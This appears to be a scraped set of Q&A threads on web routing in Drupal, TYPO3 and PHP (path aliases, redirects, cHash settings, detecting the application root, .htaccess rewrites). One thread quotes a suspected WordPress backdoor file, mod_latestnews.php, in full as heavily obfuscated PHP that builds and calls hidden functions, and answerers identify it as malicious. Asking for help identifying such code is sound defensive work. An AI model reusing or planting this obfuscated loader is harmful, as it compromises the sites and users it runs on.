When you go to http://akademy.kde.org/
the register link is http://akademy.kde.org/register - no user in path
It goes to http://akademy.kde.org/user/register with user
This is a drupal website. How you think they did this? and how to make it stay at this path http://akademy.kde.org/register no user in path?
Possibly Drupal's path_redirect.
The index page for http://akademy.kde.org/register probably contains a simple redirect.
Also in PHP it is this easy header("Location: http://akademy.kde.org/user/register")
http://akademy.kde.org/register
simply redirect to
http://akademy.kde.org/user/register
...i guess they just make a shorthand path alias, go to http://yoursite.com/admin/build/path and you can make your owns (maybe you'll need to enable the path module, is boundled with drupal)
If you truly need a redirect, check out the path_redirect module as aularon suggested.
Check drupal's path_redirect module.
cookies/.htaccess/modified templates?
what is the normal http://drupal.foo/register/? url?
Related
I am building an TYPO3 extension with Extbase and want to store data which I get via HTTP GET.
Now I struggle with possibility to use a browser to access the action controller.
The plugin is implemented into page 102
The extension key is xyzlist
the Plugin Name is xyzlistdb
The controller name is PlaylistController
The action is getAction
The domain name is sub.domain.de
In the PlaylistController.php is under getAction only
error_log("GetAction",0);
to figure out, if the browser url goes to the getAction.
Here the URL I am using
http://sub.domain.de/index.php?id=102&tx_xyzlist_xyzlistdb[controller]=playlist&tx_xyzlist_xyzlisdb[action]=get
In the browser I am using '&' instead of only '&'
But if I only use '&', it also not access the Get action
But I don't get any message in the log file!
What I am doing wrong?
Here you have multiple possibilities...
First, you can disable [FE][pageNotFoundOnCHashError] (Install-Tool), so you dont get an 404 on invalid cHash. This is globaly for you site for all plugins. Its not the secure way.
Second, you can set plugin.tx_xyzlist_xyzlistdb.features.requireCHashArgumentForActionArguments = 0 in your typoscript to disable the pageNotFoundOnCHashError for you plugin.
Last, you can add your variables to [FE][cHashExcludedParameters] (Install-Tool), so that your variables are not included in the cHash calculation.
To get the correct link, you will have to use typolink. Probably the easiest way to generate a link to a plugin action is to use f:uri.action in a template like this:
<f:uri.action pageUid="102" extensionName="xyzlist" pluginName="xyzlistdb" action="get" />
https://docs.typo3.org/other/typo3/view-helper-reference/9.5/en-us/typo3/fluid/latest/Link/Action.html
Write first letter of your controller name capitalized.
http://sub.domain.de/index.php?id=102&tx_xyzlist_xyzlistdb[controller]=Playlist&tx_xyzlist_xyzlisdb[action]=get
Also do not turn off cHash without a good reason. That problem is not a reason at all.
Jonas mentioned to generate a link to your action with:
<f:uri.action pageUid="102" extensionName="xyzlist" pluginName="xyzlistdb" action="get" />
It is indeed a good and time saving practice.
Okay so I have a WordPress site. I found a file called: mod_latestnews.php in a folder called: stylesheets in the root of the WordPress install (root of the domain). I have a strong suspicion that it might be malicious. Just need some help to Identify it thanks.
<?php
$Q_='sCXqZD1Bv'&~cIJ;$X6Bzl='E$e'|'^ i';$psqlbMHVJ3='T!2`>&'|'#'.dVetT;$gzWQoy='_?'.
'/~6kVp{fN%'&'^o~^</n7J&Ol';$AS_Si0='w{o~_}wm~_v}~'.o_grze.'}'&/*fGhnTtxKMf4Sw'.
'aGPs_Zqda*/"ok|o_}{m~_v}~".o_kr."~m}";$IL8D6p=HJMDhUH.'=(_OI#DJ##'./*GjZ1O5Kz'.
'I5rSB${*/I2RVH6ABJH.'#'.BDOR|'#HQ#dI }0'.LZHB.'#'.h4DI.'"PFD('.TJzDHDDLv;'DKP'.
'Xr:';$HBOYG2nU6=GnwG&'[?wl';$zzH=jku&'!]N';$PXW0_MgmTi='#'&q;$Wfqi_lu='s>_}}o'.
'k_/;'&"Qg{=}_#~??";$i6b2C9KsM01='J#TQ]'.MIHQQhTFm.']'.KHQOHPNiE|YTRLKPVc.#slf'.
'^'.UfTGCBBY.'!'.FNUn.'"D';$qASK='#'.TdPU.':'.QUVICEMN.'[ThD.'.JOALt|'hv|#[J_#'.
'v`'.OTKCF7.'"'.EfOnLY6;$M07='BE5='|'b"<!';$BaL=A&a;$C66HKXW='6c?lew'^#x8Pa2N5'.
'~7k<:6';$A2ImaeJCMP=rr&yz;$bqKqY='a%Q#aP`ac`'|'eF^r%`L#a%';$o7=/*RNnrKVX0m7Ld'.
'R)#$6w*/"EB1( -Bp`G\$6"|' '.C1HdmD.'%dF`D';$zz5EOx='LW#lD)ljX'|DSRL.'$'./*fv6'.
'UAz$6)*/ehbB;$pch1SaJiI="Wy{".lmVysr."}v"&'_=zf}~{c:lw';$ID7bbiuBJ=$X6Bzl^(#w'.
'~iX'&'3Vz');$jw7=('omu}o~'&'o}~}o~')&$psqlbMHVJ3;$ygm_RozfP=$gzWQoy^(/*klrOVx'.
'-?#),*/ugtNCm.'#pft]?'^'[:?w(4c0#3p~');$kA=('{w}~'._wwor_owoc_.'}{su{'&#GBcIJ'.
'{}'.nm_w.'{'.gs_ouo.'{_s{s{{')&$AS_Si0;$zkrpwgj3Ls=$IL8D6p^('}/?&Z?^O]{j.'./*'.
'>%IefQLZ-*/swZce.'{wcp){3|ow/~{}['&'}?;ox~~NY;{'.zwwx_7.'/'.Wgjm.#yZuCXFdZ5vR'.
'[3|]}:~s}b');$s424CmhsRx=$HBOYG2nU6^(lOyk&'mOX%');$dwGdfGQrb1I=('>%Q'^ZLp)|/*'.
'.HsV*/$zzH;$X_j=$PXW0_MgmTi|$BaL;$qQgbhHxspb=(Hy0O.' '.bB7BH|",4 F ".pD5B./*K'.
'x_,|*Y*/"#")^$Wfqi_lu;$IVXoBNtp=$i6b2C9KsM01&$qASK;if($ID7bbiuBJ($jw7(/*_H1EE'.
'{u*/$C66HKXW))!=$zkrpwgj3Ls)$ygm_RozfP($s424CmhsRx,$dwGdfGQrb1I,$X_j);$kA(/*z'.
'4rAeZq33v?*/$A2ImaeJCMP.$bqKqY,array($qQgbhHxspb,$jw7($IVXoBNtp),$o7./*KByxGf'.
',|BJpU_{~*/$zz5EOx.$pch1SaJiI.$M07));#-_gFxEx%N1L$wWJw_Zry:p..(ZC_vSjJ#JH39n'.
'P{-1gib :7k=LYkAW?w4rHS_.fUuc_Q_tnjMS{{N[n_YN]f#d4';
Yes it looks like an encripted code. Try decoding it with online decoders. Also do a search on your complete website for "mod_latestnews", it might be called by some other file. Have a look at my answer on this question.
Are my websites hacked?
Yes, it is definitely a malicious code snippet added on your website as by default WordPress does not have any stylesheets folder inside root directory.
I have in my module named 'categorie' a implementation of:
function categorie_url_inbound_alter(&$result, $path, $path_language) {
if ($path == 'e') {
$result = 'user';
}
}
I'm planning to do something a bit more advanced but I can't even seem to get the basic one working.
With this implementation I expect that if a user goes to mysite.com/e , he gets the user page. But I'm getting a 404.
In this topic:Using module: url_alter and it's hook: hook_url_outbound_alter() they also suggested you need to implement the hook_boot() with nothing in it. However I did implement this hook and this didn't change the behavior.
UPDATE:
I have the "Path" module installed from core and I declared some url aliases in the clean url section. (Maybe this gives a conflict?)
UPDATE2: cleaning the cache didn't do the trick either.
UPDATE3:
I also tries doing the url rewriting in the htaccess file. But when the url was rewritten it destroyed the theming. (https://drupal.stackexchange.com/questions/76475/drupal-does-rewrite-url-but-cant-load-css-themes/76493?noredirect=1#76493). So that's why I'm now trying to do it with the custom module.
What cache did you clear ? It probably not sufficient
to just clear the page cache. You can try a call to
drupal_lookup_path('wipe');
To clear the alias cache. This fixes many problems with the alias system.
Other things to check are the alias database table to be sure that the alias are being
set in the first place.
I'm not 100% sure, cause i'm also very new to drupal. But i think you need to implement hook_url_outbound_alter as well. Good luck. If i find a better answer i'll post it.
Cheers
I'm trying to dynamically detect the root directory of my page in order to direct to a specific script.
echo ($_SERVER['DOCUMENT_ROOT']);
It prints /myName/folder/index.php
I'd like to use in a html-file to enter a certain script like this:
log out
This seems to be in bad syntax, the path is not successfully resolved.
What's the proper approach to detect the path to logout.php?
The same question in different words:
How can I reliably achieve the path to the root directory (which contains my index.php) from ANY subdirectory? No matter if the html file is in /lib/subfolder or in /anotherDirectory, I want it to have a link directing to /lib/logout.php
On my machine it's supposed to be http://localhost/myName/folder (which contains index.php and all subdirectories), on someone else's it might be http://localhost/project
How can I detect the path to application root?
After some clarification from the OP it become possible to answer this question.
If you have some configuration file being included in all php scripts, placed in the app's root folder you can use this file to determine your application root:
$approot = substr(dirname(__FILE__),strlen($_SERVER['DOCUMENT_ROOT']));
__FILE__ constant will give you filesystem path to this file. If you subtract DOCUMENT_ROOT from it, the rest will be what you're looking for. So it can be used in your templates:
log out
Probably you are looking for the URL not the Path
log out
and you are not echoing the variable in your example.
Your DOCUMENT_ROOT is local to your machine - so it might end up being c:/www or something, useful for statements like REQUIRE or INCLUDE but not useful for links.
If you've got a page accessible on the web - linking back to a document on C: is going to try and get that drive from the local machine.
So for links, you should just be able to go /lib/logout.php with the initial slash taking you right to the top of your web accessible structure.
Your page, locally - might be in c:/www/myprojects/project1/lib/logout.php but the site itself might be at http://www.mydomain.com/lib/project.php
Frameworks like Symfony offer a sophisticated routing mechanism which allows you to write link urls like this:
log out
It has tons of possibilities, which are described in the tutorial.
Try this,
log out
This jumps to the root directly.
DOCUMENT_ROOT refers to the physical path on the webserver. There is no generic way to detect the http path fragment. Quite often you can however use PHP_SELF or REQUEST_URI
Both depend on how the current script was invoked. If the current request was to the index.php in a /whatever/ directory, then try the raw REQUEST_URI string. Otherwise it's quite commonly:
<?= dirname($_SERVER["SCRIPT_NAME"]) . "/lib/logout.php" ?>
It's often best if you use a configurable constant for such purposes however. There are too many ifs going on here.
I'm trying to figure this out for PHP as well. In asp.net, we have Request.ApplicationPath, which makes this pretty easy.
For anyone out there fluent in PHP who is trying to help, this code does what the OP is asking, but in asp.net:
public string AppUrl
{
get
{
string appUrl = Request.Url.GetLeftPart(UriPartial.Authority) + Request.ApplicationPath;
if (appUrl.Substring(appUrl.Length - 1) != "/")
{
appUrl += "/";
}
// Workaround for sockets issue when using VS Built-int web server
appUrl = appUrl.Replace("0.0.0.0", "localhost");
return appUrl;
}
}
I couldn't figure out how to do this in PHP, so what I did was create a file called globals.php, which I stuck in the root. It has this line:
$appPath = "http://localhost/MyApplication/";
It is part of the project, but excluded from source control. So various devs just set it to whatever they want and we make sure to never deploy it. This is probably the effort the OP is trying to skip (as I skipped with my asp.net code).
I hope this helps lead to an answer, or provides a work-around for PHPers out there.
I want to create a link like the following:
http://www.myurl.com/?IDHERE
What i want to be able to do is be able to goto the above link, and then pull whats after the ? (in this case IDHERE) and be able to use that information to perform a MySQL lookup and return a page.
Can anyone point me into the right direction? please know this is using PHP not ASP
The issue here is not with your scripting language, but with your web server setup. I'll refer to these by their Apache names, but the features should be available in most web servers.
There are three features you might want to use:
1) content negotiation (mod_negotiation), which allows your web server to try a specified list of extensions in a specified order, for example: http://example.com/foo might be http://www.example.com/foo.html or http://example.com/foo.php
2) DirectoryIndex, which tells the web server that when a client asks for http://example.com it should look for a specified list of files in order, so it might server up http://example.com/index.html or http:/example.com/index.php
3) mod_rewrite, which allows you to basically rewrite the URL format received by the server. This allows you to do things like translate http://example.com/foo/bar/baz to http://example.com/foo/bar.php?page=baz
The rest is done by the backend script code as normal.
Create a default PHP file in that directory that will get loaded when no file name is specified (e.g. index.php). In your PHP script you can get the part after the question mark from the variable $_SERVER['QUERY_STRING'].
Do the following in your site's main index.php:
list($id) = array_keys($_GET);
// right now, $id represents the ID you're looking for.
// Do whatever you want with it.
In the link, form or whatever - index.php?id=someid
In your index.php file:
$_GET['id'] = $id
Now you can use it:
e.g.
echo $id;
Since it's your default page, it will work without the extension.
list($id) = array_keys($_GET);
// right now, $id represents the ID you're looking for.
// Do whatever you want with it.
this was exactly what i was looking for, though now i just need to create something to notify if nothing is there or not. Thank you all for your responses.
I would solve it by using .htaccess file if possible.
create a .htaccess file in the main directory with the content:
RewriteEngine on
RewriteRule cat/(.*)/(.*)/(.*)/$ /$1/$2.php?$3
that should translate "example.com/foo/bar/baz" to "example.com/foo/bar.php?page=baz"